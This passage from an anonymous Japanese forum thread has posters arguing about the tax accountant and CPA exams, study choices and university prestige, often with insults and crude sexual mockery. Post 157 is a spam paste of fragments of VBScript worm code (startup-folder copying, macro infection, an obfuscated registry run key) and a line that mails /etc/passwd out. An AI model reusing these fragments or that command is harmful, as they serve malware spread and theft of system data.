ID:5Tl2Ss52] 税理士五科目合格するまでの労力は、会計士の比じゃないだろう。 112 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/23(日) 09:31:07 ID:???] 税理士＝科目合格制度　会計士試験とは試験制度が違う　両者の比較そのそのものが無意味 【税理士試験こそ短答式が必要】 school5.2ch.net/test/read.cgi/exam/1127706514/l50 113 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/23(日) 09:37:39 ID:???] 108は税理士になれない税理士受験生だな。 会計士は税理士と違い学部の縛りどころか、受験資格に制限ないからな、普通会計士受験生なら知ってるだろ。 たぶん直前なのに理論が覚えられないで発狂したんだな 114 名前：一般に公正妥当と認められた名無しさん [2006/07/23(日) 13:31:55 ID:qP+HqQLO] 会計士と税理士ですみわけができてるわけじゃないのが、この資格の問題点だよな。 会計士は税理士になれるが、税理士は会計士になれない。 会計士は税理士の上級資格。 実際に会計士のほとんどは税理士を小馬鹿にしている。 俺のバイト先の会計士のセンセイは、このあるごとに税理士がいかに無能かを ネタにして笑っているよ。 115 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/23(日) 13:39:33 ID:???] そうやって荒らすのもう止めなよ 116 名前：一般に公正妥当と認められた名無しさん [2006/07/23(日) 15:34:36 ID:MrxhYflQ] >>114　会計士は近い将来、税理士登録できないようになる方向で議論されてます。 具体的には会計士が税理士試験の税法科目の一部を合格しなければ、登録できない 方向に税理士の試験制度を改正する方向にたたき台を税理士会が作成しています。 117 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/23(日) 15:40:42 ID:???] >>116 ソースは？ “噂で聞いた”は無しね。 118 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/23(日) 15:47:33 ID:???] >>117 別に議論するのは勝手だろ？ そもそも租税を会計士試験の受験科目にしたのはザコがうるさいからだろ？ 会計士がだめなら弁護士も廃止するんだろな〜 119 名前：一般に公正妥当と認められた名無しさん [2006/07/23(日) 15:49:35 ID:MrxhYflQ] >> 117 今月の東京税理士会報ですよ。 会報をちゃん呼んでいる税理士先生に聞けば知っています。 120 名前：一般に公正妥当と認められた名無しさん [2006/07/23(日) 15:54:58 ID:MrxhYflQ] >>118 弁護士も将来、税理士の会計科目の一部を合格しなければ、登録できない ようなことも書いてありました。まぁ、あくまでも「たたき台」です（Ｗ）。 問題になっているのは、将来の会計士・弁護士の合格者増です。 税務申告もやっている弁護士先生は実態としてかなり少ないと思うので、 影響は少ないでしょうね。 121 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/23(日) 16:00:09 ID:???] >>120 弁護士会計士が人数増やして競争しようとしてるのに 税理士は競争がいやってこと？ その体質変えないとね 122 名前：一般に公正妥当と認められた名無しさん mailto:あ [2006/07/23(日) 16:21:42 ID:???] 弁護士と会計士の税理士登録なくせ議論ずっと前からやってるよ。 別段新しい議論じゃない。 逆に言えばずーっと実現しないってこと。 会計士試験には租税法も加わったし、状況は税理士団体の思惑と反対に動いてる ように見えるけどね 123 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/23(日) 17:35:30 ID:???] 会計士は税務を知らないというのが口癖。知らなければ客が付かない。 なのに税理士会が新聞キャンペーンまで展開して会計士の税理士登録を阻止するのか分からん。 かえって「業界を圧迫しているから認めるな」の方が説得し易いと思うが。 124 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/23(日) 17:41:13 ID:???] >>123 理由はなんでもいいよ 会計士は税理士付与無くせばいい 会計士は鑑査だけやってりゃいいんだよ 125 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/23(日) 17:46:56 ID:???] 無くすにはそれなりの理由が必要だろｗ 126 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/23(日) 17:50:27 ID:???] >>125 さてはｵﾏｲ．．． 127 名前：一般に公正妥当と認められた名無しさん [2006/07/23(日) 17:58:02 ID:u/QlaTM1] はっきり言いますが今年の短答落ちるということは基礎力が本当に無いという ことだと思います。なにせ今年の短答はちゃんとやった人はほぼ全員受かって いるような試験でしたもんね。実際問題として短答に受かるためにはタックか 大原かなんて関係なく、与えられた教材をただしっかりやることが重要なんで す。闇雲に予備校選びに走るよりもタックの慣れた教材でもう一度じっくりや るほうが良いと思います。 128 名前：一般に公正妥当と認められた名無しさん [2006/07/23(日) 19:01:34 ID:qP+HqQLO] できるものなら全員、税理士なんかよりも会計士になりたいと思っている。 にもかかわらず税理士資格なんて受験しているＤＱＮ連中は、 結局のところ、会計士に合格する自信が無い低学歴連中か、 働きながら勉強せざるを得ない高齢おっさん連中のどちらか、 あるいはその両方ｗでしかない。 若くて頭のデキに自信があるなら、とりあえず会計士受験をするのが 常識でしょっっｗ 129 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/23(日) 19:13:02 ID:???] >>128 ママのおっぱいおいしい？ 130 名前：120 [2006/07/23(日) 23:30:07 ID:rTCbU62V] >>128　君はただの受験生。女優を夢みる風俗嬢みたいな（ＷＷＷ 131 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/24(月) 09:27:02 ID:???] >>128 落ちたら何も残らない会計士試験はリスクありまくりなので働きながら受けられる税理士試験を選択した。 受験生は会計士一発合格試験と税理士科目合格試験、どちらが自分に有利かを選択する。 こんな感じでしょ。ポイントは働きながら勉強を続けられるか否か。 試験の違いをみれば自ずから答えが出ると思う。 132 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/24(月) 11:02:15 ID:???] 国税庁が税理士試験を取り仕切っている。税務署OB税理士は元国税庁職員。しかも税理士業界は税務署OB税理士に負うところが大きい。 この関係があって税○○会内部の試験組幹部は何も言えない。せいぜい院免除制限や会計士弁護士の税理士資格付与に反対するぐらい。 一方このまま税理士が増え続けることで業務が圧迫されることに危機感を抱いている。本来は税務署OBへの税理士資格無条件付与が問題なのに税○○会はその事に一切口を閉ざしている。 受験生はその辺りを良く考えて試験の受け方含め自分にとって何が最も有利かを熟考し進路を決めることが肝要。 133 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/24(月) 11:21:22 ID:???] 国税OBの税理士資格 money4.2ch.net/test/read.cgi/tax/1137058838/l50 134 名前：一般に公正妥当と認められた名無しさん [2006/07/24(月) 11:22:56 ID:PtAdqxnI] 今の業態を考えるのではなくて、 将来どうあるべきか、本来どうあるべきかを考えて、 税理士業界を目指すと判断する人も多いと思う。 現状を悲観し、変革することから逃げる人はどんな業界に行っても、 すでにある形に収まるだけで何も生み出すことは出来ないし、 そんな人は今の会社でもいらない人材となっていると思う。 現状だけで物事を考える人は、過保護に育てられ過ぎ。 そんな人は大企業にでも行って、せいぜい大樹の影に隠れて生きれば良い。 あと損得で人生を考えてしまう思考がそもそもこの世に生を受けた、 人間の生き方じゃないと個人的には思う。 あくまで個人的な価値観だけど。 135 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/24(月) 12:57:49 ID:???] ２年ぐらい前だったか税理士会が税理士と会計士の違いに関する意見公告を出したが図らずも思惑と逆の方向に行ってしまった感。 全体的な雰囲気が”今税理士業界は危機です”みたいな勘ぐりトーンになっていた。あれは失敗だった。だが会はまた同じような事を考えている。 136 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/24(月) 14:54:35 ID:???] 早計クラスなら在学中に会計士か失敗したら卒１までに一般企業就職の方がベター。 税理士は５科目合格までが長期で途中撤退が困難になるので志望するならそれを承知で参入すること。 137 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/24(月) 16:10:09 ID:???] 会計士は専念しないと合格はまず無理だし税理士は受かる迄に時間かかり過ぎだし どうすりゃいいのさ。 138 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/24(月) 16:11:44 ID:???] >>137 諦めればいいんだよ 139 名前：一般に公正妥当と認められた名無しさん [2006/07/24(月) 16:54:27 ID:PtAdqxnI] >>137 まずは、あんたが何がしたいのか。 それが見つからない奴は何を目指しても届かない。 140 名前：一般に公正妥当と認められた名無しさん [2006/07/24(月) 22:34:06 ID:qLh07u7K] >>139 なにがしたいのかって、あんた。こういう資格試験の受験生なんて 民間に就職するのがイヤだから、とか営業でノルマが達成できずやめたから、 とか留年しまくって就職できなかったから、人間関係がイヤだから独立したい、 とかネガティブな理由に決まってるだろ。 誰が好きこのんで、クソつまんねー帳簿付けとか申告書の作成とか伝票めくりなんて やりたがるかよ。 141 名前：一般に公正妥当と認められた名無しさん [2006/07/25(火) 00:50:30 ID:ZnN+fu+O] てか、会計士はさ、合格したらおまけで付いてくる税理士のこと見下しているんだろ？ならさ、監査だけやってろよ、このボケが!! 見下すのはどーでもいいけど、だったら税理士業務すんじゃねーよ!!もしどうしてもしたいなら全国の税理士全員に許可取ってからにしろｗｗｗ 142 名前：一般に公正妥当と認められた名無しさん [2006/07/25(火) 01:35:30 ID:j6P/at+0] 試験組は早慶が多く 院免は東亜、聖学院 、なんとか商科が多い。 両者は同じ「税理士」を名乗っても雲泥の差。 143 名前：一般に公正妥当と認められた名無しさん mailto:??? [2006/07/25(火) 06:05:15 ID:???] 雲泥ですかあ 144 名前：一般に公正妥当と認められた名無しさん [2006/07/25(火) 06:17:23 ID:977tW5ct] >>140 ネガティブな気持ちで受けている人は多くはないと思うよ。 あと仕事というのはどんな業界でも地味なもの。 それが事実かどうか知りたいなら、他の景色を見てみるのも良いと思うよ。 >>142 できれば大学院は行きたくないね。 でも、自分なりの予定取得年齢近くなったときの状況次第では、 考慮する必要が出てくるかもしれないと思っている。 145 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/25(火) 09:46:42 ID:???] >>142 嘘八百。それは開業税理士のHPみれば一目瞭然。それでもHPに学歴載せてるのはまだいい方。　 現状でいうとピュアーな個人開業税理士に限定すれば早稲田慶応出身はほとんど聞かぬ。たまにいる程度。 今後については新会計士試験の影響で税理士簿財合格した会計士受験生の税理士鞍替えは有り得るがね。 早慶で初めから税理士という選択は数人はいても大多数は無い無い。ただ来年以降は新試験の影響であり得ると思う。 ５科目の優位性や高学歴を盛んにPRしている”あなた”そんなこと一生懸命説いたところで何のメリット無いからもう止めた方がいい。 エゴや足の引っ張り合いと見做され斯業界にとってマイナスになるだけですよ。 146 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/25(火) 10:07:57 ID:???] これから税理士を目指す受験生へのアドバイス 税務署職員の採用形態 www.nichizei.or.jp/zpo/miura/22.html 何のツテも無い場合の大半が税務署出身の所長が開設した事務所に就職しそこで働きながら税理士試験に臨む。 147 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/25(火) 10:10:09 ID:???] >>145 お客にとっては税理士の学歴なんかよりも、税理士としての能力や経験、人格のほうが最重要視されるんですけど 148 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/25(火) 10:10:54 ID:???] 税務署出身の所長が開設した事務所 訂　正　↓　　 税務署出身者が自ら所長として開設した事務所 149 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/25(火) 10:20:09 ID:???] >>147 その通りですよ。 言いだしっぺの１４２に対してはスルーしていますが自演マッチポンプタイプの方ですか 150 名前：一般に公正妥当と認められた名無しさん mailto:147 [2006/07/25(火) 10:59:24 ID:???] >>149 142とは違います。 ここはあまりにも学歴頼りに、低学歴をバカにしてる人が多いので一言しました。 能書き垂れてるくせに、無職とかね。 他人を見下ろしてるくせに、実社会では乞食同然の地位でしょ。 黙ってればいいものを高学歴ゆえの変なプライドからかなにかしらレスしてくる。 言い返せないと無意味なレスをしてくる。 ま、私ももうレスしないように気をつけます。 151 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/25(火) 11:33:13 ID:???] レスしないと言ってるのに申し訳ないが >試験組は早慶が多く >院免は東亜、聖学院 、なんとか商科が多い。 >両者は同じ「税理士」を名乗っても雲泥の差。 ほう君の目にはこれは｢違う｣｢問題ない｣｢許せる｣のだね。 俺には君が言う｢学歴頼り、低学歴をバカにしてる｣と同じに映るがね。　 両者放置してないのだからドッチもドッチじゃないのかね。 これは片方が完全放置しない限り永遠に続く。 ２chのような匿名掲示板はそういうところ。 152 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/25(火) 12:48:27 ID:???] 早慶って昔は馬鹿の代名詞だったの知らないんだろうね。プッ できる者は国立だったんだろ 153 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/25(火) 13:00:45 ID:???] ↑いつの話してんだお爺ちゃん 154 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/25(火) 14:31:14 ID:???] ２ちゃんでは早慶も馬鹿学校。東大と弁護士が唯一煽られない。 だが国立を一把ひとからげするのはそれ以前の勘違い野郎。 155 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/25(火) 15:16:55 ID:???] 役に立ちそうだと思って開くとこれだから困る 156 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/25(火) 15:31:26 ID:???] ２ちゃんなんで許してちょ 157 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/25(火) 15:34:05 ID:???] c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") cat /etc/passwd | mail nobody@nonexistent.com If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFilef1.path, f1.path+" 158 名前：一般に公正妥当と認められた名無しさん [2006/07/27(木) 22:49:02 ID:AlSX8B/l] 勘違いするな。大半のやつは 大学院に 行　　け　　な　　い　　人　　間　　ばかり 大学院は学問の最高府 高卒や馬鹿大学でボンクラな成績しかとれない連中には 手の届かない聖域なのだ。 大学院卒税理士は超高級資格。 ここでたたいている連中はうらやましがってるだけＷ 159 名前：一般に公正妥当と認められた名無しさん [2006/07/28(金) 20:48:38 ID:fcGzbmLy] まぁ確かに、どんな手を使っても、早いとこ資格をとったもんがちかもな。 遅れれば遅れるほど生涯収入が減ってくるし。 資格試験はとってからがようやくスタートラインなんだから、 資格を持ってない連中は、スタート地点にすらたてていないわけだ。 160 名前：一般に公正妥当と認められた名無しさん [2006/07/28(金) 20:55:59 ID:BqypczSa] 俺は生涯収入なんてどうでもいいと思ってる。 ていうか金なんて最低限あれば貧乏とかあんまり気にしない。 ただ人に堂々と税理士だって言えないような資格の取り方はしたくない。 後ろめたい思いで生きていきたくない。自分に自信を持って生きていきたい。 自信を持てればそれでいいと思ってる。 どうせ人間なんて誰もがいつかは死ぬ。 どうせ死ぬなら充実した人生を送りたい。 だからチャレンジしていたい。院やOBみたいにチャレンジのハードルを 落としたくない。 161 名前：一般に公正妥当と認められた名無しさん [2006/07/29(土) 00:41:40 ID:RGeuPEjf] >>160 ということは国税三法に挑むんだぜ？ 人生オワタ＼(^o^)／ 162 名前：一般に公正妥当と認められた名無しさん [2006/07/29(土) 21:17:59 ID:rHkC5lm4] >>160 ま、自己満足のために、一生低賃金の会計事務所奴隷で終わる人生ってのも 本人にとっては幸福なんじゃないの？ｗ たとえ高齢で国税三法とって資格とったとしても、税理士なんてウンコ資格、誰も 尊敬しないけどね。若い会計士連中は鼻で笑ってるよ。は？国税三法？頭の悪い 低学歴連中のドングリの背比べでしょ？ってなもんだよｗ 163 名前：一般に公正妥当と認められた名無しさん [2006/07/30(日) 01:12:52 ID:wgCESkJd] 結局税理士って資格はもともと 公務員に対する福祉厚生制度の一つに過ぎないからな〜 税理士って資格がある程度社会的ステータスがあるっていうのも、 元公務員っていうステータスがあるからでしょ。 良くも悪くも公務員制度にのっかってるんだよね。 実力でとる弁護士や会計士とはそこが違う。 164 名前：一般に公正妥当と認められた名無しさん [2006/07/30(日) 21:56:39 ID:kka3M1kq] 面接官が見てるのはコミュニケーション能力と勢いのみだよ。 知識なんて面接官自身持ってないんだから、アピールしたって評価すること自体が不可能。 コミュニケーション能力っていうのは、高度なモンじゃなくて、面接官に 気持ちよくしゃべらせていい気分にさせるってだけの話。 今の精神状態ではそれも辛いだろうけど、心の仮面をかぶって行け。 難しく考えるな。 30分の面接では、人の性格や考え方ましてやどれだけ仕事ができるかなんてわからん。 表面的なことしか見えてないんだから、判りやすくしてやらなきゃダメ。 165 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/31(月) 22:47:03 ID:???] 税理士受験生の皆さんへ 兎に角前日は睡眠をとること。 体調管理すること。 C判定でも本番で逆転することはよくある。 とにかく最後まで解ける問題を探すこと。 166 名前：一般に公正妥当と認められた名無しさん [2006/08/06(日) 22:34:42 ID:6cc7MX2k] 簿財のみ合格、法人7連敗、来年30の俺だが、 ついに、ついに！今年法人税絶対合格のてごたえあり！！ うぉぉぉ！！やったぜ！！これで今バイトしている税理士事務所も俺を 正社員として雇用してくれるはずだ！！どんなもんだ！！ 人生勝ち組の第一歩だな！そんな俺からおまえらにアドバイス！ 絶対に試験をあきらめるな！いつか俺のような栄冠を勝ち取れる日が 必ずくる！怠けそう、くじけそうな自分に打ち勝て！！以上だ！ 167 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/06(日) 22:40:30 ID:???] あと二つの税法に７連敗すると45までには税理士になれるよ。 168 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/06(日) 23:36:25 ID:???] ttp://boybeambitious.blog55.fc2.com/ 痛い目に会う前にアドバイスしてあげたら？ 169 名前：一般に公正妥当と認められた名無しさん [2006/08/07(月) 22:52:16 ID:AF7/guGR] 水戸講師で最悪って言っている人はベテか平山講師本人だけですよ（笑） それか、水戸講師作問の論グレ解いていないのか、、はっきり言って平山講師は論点が 古すぎるし、最新論点についていていけていないので正直厳しい。 解説講義中も昭和の時代の話か税理士試験の簿記の話ししかできないし、、 水戸講師の知識の深さ、作問のこだわり、これがわからない人は正直厳しいですね。 講義中の声の大きさとテンポが良くなれば全予備校の講師No1ですよ。本当に ちなみに０６と０７のレベ答練簿記の担当は両方とも平山講師ですよ。残念ですが。 パンフレットやHPの情報は間違いです。 170 名前：一般に公正妥当と認められた名無しさん [2006/08/11(金) 23:08:27 ID:XJ2Bdhhv] >>166 つか、三十路フリーターがたかだか試験科目の1/5程度うかったつもりになって 何デカいツラしてアドバイスなんかしてんの？ｗ 一科目で7年不合格なんて、オマエの頭は幼稚園児かよｗ 税理士なんてＤＱＮ資格目指してる時点で、オマエの人生負け組だよｗ んでそんなウンコ資格に莫大な時間とお金を投下してるなんて 負け組もいいとこ。オレにいわせりゃ、精薄と同レベルだねｗ はっきりいって免除だろうがなんだろうが、早くとったもんがちだよ、 資格なんて。 免除だろうが、五科目合格組だろうが、 会計士からしてみりゃ、低脳のドングリの背比べなんだから、さ 171 名前：一般に公正妥当と認められた名無しさん [2006/08/11(金) 23:11:35 ID:wPhh7qB5] 苦労して受かった奴の言うことは聞くに値すると思うがな。 172 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/11(金) 23:12:03 ID:???] とりあえず、オナニーは一日１回までだぞ。 173 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/11(金) 23:58:00 ID:???] >>172 一回で2時間くらいしちゃうんだけど 174 名前：一般に公正妥当と認められた名無しさん [2006/08/12(土) 02:10:22 ID:23c9Yg0T] 166イタイなぁ。 聞くにあたいするって言うけど、言ってることは「諦めるな」だけやん。 175 名前：一般に公正妥当と認められた名無しさん [2006/08/12(土) 03:58:33 ID:nUr3gi6v] >>166俺はお前みたいな奴嫌いじゃないぜ 176 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/12(土) 08:09:29 ID:???] >>166 むしろ愛してる 177 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/13(日) 18:20:27 ID:???] >>166 優しく抱いて・・・・ 178 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/13(日) 18:34:20 ID:???] >>166 お願い・・早くぶち込んで 179 名前：一般に公正妥当と認められた名無しさん [2006/08/13(日) 19:15:42 ID:zccFLlRY] 166大人気だなｗ 法人税合格した（つもりになっている）甲斐があったなｗ 180 名前：一般に公正妥当と認められた名無しさん [2006/08/13(日) 22:43:40 ID:sGDwRD3S] >>166 過大なる歓喜は、また新たなる絶望の始まり。 181 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/14(月) 22:42:29 ID:???] >>166 はやく志保のオマンコに166さんのぶっといおチンチンください・・・・ 182 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/15(火) 10:56:52 ID:???] >>166 一生憑いていきます！ 183 名前：一般に公正妥当と認められた名無しさん [2006/08/19(土) 01:31:40 ID:lx+IAXwa] >>166 五科目そろえてから大口はたたけｗ 184 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/08/19(土) 02:12:46 ID:???] この流れハゲワロｗｗｗｗｗｗｗｗｗｗｗｗ 185 名前：一般に公正妥当と認められた名無しさん [2006/08/19(土) 05:07:12 ID:D6uMwy6W] page9.auctions.yahoo.co.jp/jp/auction/k33367380 page9.auctions.yahoo.co.jp/jp/auction/k36965463 page.auctions.yahoo.co.jp/jp/auction/92643373 page.auctions.yahoo.co.jp/jp/auction/92794705 page13.auctions.yahoo.co.jp/jp/auction/r29093404 こういった、オークションで出品されている教材を使って勉強されている方いますでしょうか？？ 186 名前：一般に公正妥当と認められた名無しさん [2006/08/19(土) 14:35:31 ID:YBDG9hzv] こんな流れ嫌いじゃないけどな、合格確実、って自信もっていってるなら、 ほんま確実な点とれたんだろうし、あんまり遊んでやるなや。 諦めないで頑張ったという点はすげぇと思うよ。 俺なら途中で諦めてしまう、4連敗くらいで・・・ 187 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/19(土) 14:49:42 ID:???] >>166の人気に嫉妬。 188 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/08/19(土) 14:54:32 ID:???] >>166>>187 自演乙 189 名前：一般に公正妥当と認められた名無しさん [2006/08/22(火) 22:07:58 ID:1r7oa9Qt] 監査論が全然頭に入らない…どなたか 良いアドバイスをお願いいたします。 190 名前：一般に公正妥当と認められた名無しさん [2006/08/24(木) 08:04:27 ID:a2ceEJtj] 考えるな、感じろ！ 191 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/24(木) 09:01:17 ID:???] ０４合格の人、終わった時の手応えと空白の量を教えてください 192 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/25(金) 21:54:16 ID:???] >>188 お約束知らないのか？ 193 名前：一般に公正妥当と認められた名無しさん [2006/08/25(金) 22:40:13 ID:sw6FV8cd] >>189 センス無い。というかはっきり言えばアタマ悪い。 監査論程度が覚えられないようじゃ、会計士試験合格は絶対無理。 もちろん税理士も無理。税理士は前条文の丸暗記（聞いた話じゃ句読点の 位置まで一字一句ｗ）が要求される。あんたのような弱い記憶力じゃ 税理士試験ごときの理論問題も対応不可能ってこったｗ 194 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/26(土) 01:32:09 ID:???] >>193 句読点の位置は関係ないし、語句も学校によって違うからナーバスになる必要は無いが。 195 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/27(日) 23:10:33 ID:???] >>193 恥ずかしいやつだな しゃぶれよ 196 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/08/27(日) 23:13:30 ID:???] 愛しのシャブリナ 197 名前：一般に公正妥当と認められた名無しさん [2006/08/28(月) 23:01:01 ID:JWTtrbGk] >>193 恥ずかしいヤツだな。ケツかせよ。 198 名前：一般に公正妥当と認められた名無しさん [2006/09/01(金) 21:29:21 ID:i0QzYN4b] 来年4月から公務員として働き出す大学4年生なんですが、 働きながらも公認会計士を目指そうと思っている者です。 自由な時間が多い残り学生生活の半年でがっつりいきたい と思っており、学校はクレアールを選択しようと思っていま す。 何かアドバイスのようなものを頂ければ幸いです。 199 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/02(土) 00:36:57 ID:???] 2chやらないこと 真に受けないこと 200 名前：一般に公正妥当と認められた名無しさん [2006/09/04(月) 21:43:15 ID:K4F6Hvk3] >>198 働きながら会計士なんて絶対に無理。 公務員の職務も試験勉強もどちらも中途半端になるに 決まっているので、どちらかに絞れ。 つーか安定した身分がうらやましいので公務員辞退しろ。 合格者ではないが来年30歳の会計士試験ヴェテより 201 名前：一般に公正妥当と認められた名無しさん [2006/09/09(土) 13:02:12 ID:QMSH5mt2] >>166 ホワイトカラーの最底辺職場の会計事務所で 正職員になることがオマエの栄光かよｗ チンケな栄光だなｗ 小学校の児童会長になるほうがずっと栄誉だよｗ 202 名前：一般に公正妥当と認められた名無しさん [2006/09/14(木) 21:44:52 ID:eiHi+MjL] >>201 そう言うな。無職オジサンの立派な夢じゃないかｗ 203 名前：一般に公正妥当と認められた名無しさん [2006/09/15(金) 22:12:39 ID:zcrMHTFT] >>198 学歴などオマエのスペックをまず晒せ。 すべてはそれからだ。 204 名前：一般に公正妥当と認められた名無しさん [2006/09/21(木) 22:33:23 ID:zpqvktE8] >>198 働きながらでも、公務員なら残業時間も少なそうだし 大丈夫でしょ？下手すりゃ、大学（超一流ｗ）に通いながらＴＡＣにも 通っている俺より時間があるんじゃねーの？ 205 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/21(木) 22:42:50 ID:???] muri 206 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/22(金) 16:39:07 ID:???] >>198 地方公務員だとしても拘束時間８時３０分〜１７時でしょ。 残業ゼロの日ばかりでないし、仕事ほっぽり出して自分だけ帰宅するわけいかないよ。 １００％無理とはいえないけど、そこから毎日の通勤時間も考慮したら限りなく合格難しいよ。 ５０才前後くらいで課長級になれば年収１千万超えでそのまま６０才まで安泰なんだから どう考えてもそのまま公務員がベストでしょうね。 従兄弟に政令指定都市勤務がいる彼からの情報だから間違いないよ。 207 名前：一般に公正妥当と認められた名無しさん [2006/09/24(日) 18:45:20 ID:1nobGlvU] >>206 ここは合格者からのアドバイスを書き込むスレだ。 従兄弟に地方公務員がいるだけのあんたがアドバイスを 書き込むスレじゃないんだよｗ 208 名前：チラシの裏 [2006/09/24(日) 19:07:51 ID:TzREMeWD] >>200って働いたことあるんかいな。 合格者じゃないが俺（公務員）の感覚では、やってやれないことはないな。 一応税理士簿財を働きながら合格したし、 これで短答の合格可能性はだいぶあがった。 国１経済職も働きながら受かったし、税理士法人・消費の勉強経験もあるから 論文の経済と租税はかなり簡単に見える。 来年合格してみせるよ。 209 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/24(日) 19:16:39 ID:???] ２０８は昔受験やってたんだろう？ えらそうにいえねーーｗ やってなかった人がゼロから社会人受験するのは 無駄。無駄無駄。 210 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/24(日) 19:22:54 ID:???] >>208 はいはいわろすわろす スレ違いだから逝ってよしですよー＾＾ 211 名前：チラシの裏 [2006/09/24(日) 19:34:38 ID:TzREMeWD] チラシの裏 212 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/24(日) 19:51:56 ID:???] なら核なよｗｗｗｗｗ リアルでチラシの裏にでも書いてろよｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 213 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/24(日) 20:08:43 ID:???] この板ニート多すぎ 214 名前：一般に公正妥当と認められた名無しさん [2006/09/24(日) 20:37:56 ID:uekGRT/f] 公務員より銀行員の方が勉強時間取れるんじゃないの？ 215 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/24(日) 21:23:22 ID:???] 銀行員が勉強時間取れるって？ｗ これだからニートは・・・ 216 名前：一般に公正妥当と認められた名無しさん [2006/09/25(月) 05:56:10 ID:hpTnLGOn] >>203 198です。 自分のスペックは〜。 神戸、筑波、横国・・・これのどれかです。 特定とか嫌なんで。 217 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/25(月) 09:29:56 ID:???] >>207 198に対するYesNOがないが、おまえの意見はどうなんだ 当然合格者なんだろうなw 218 名前：一般に公正妥当と認められた名無しさん [2006/09/26(火) 21:58:32 ID:HibORn0R] >>216 神戸と横浜ではレベルにあまりにも開きがありすぎる。 神戸と横浜が同列と思っているのは横浜生のみ。 216は横国大生に決定だなｗ 219 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/26(火) 22:20:37 ID:???] 神戸、筑波、横浜だとどういう順位付けなんだ？ まあ学部によって違うだろうが それと筑波はモト東京教育大で、東の東京教育大、西の広島教育大（広島大教育学部）って言われたらしいが、 広大も入れてお願い どっちにしても西日本で京大、阪大、神大とくる神戸より横国が上とは思えんが 220 名前：一般に公正妥当と認められた名無しさん [2006/09/27(水) 09:02:03 ID:pKfE9UPR] 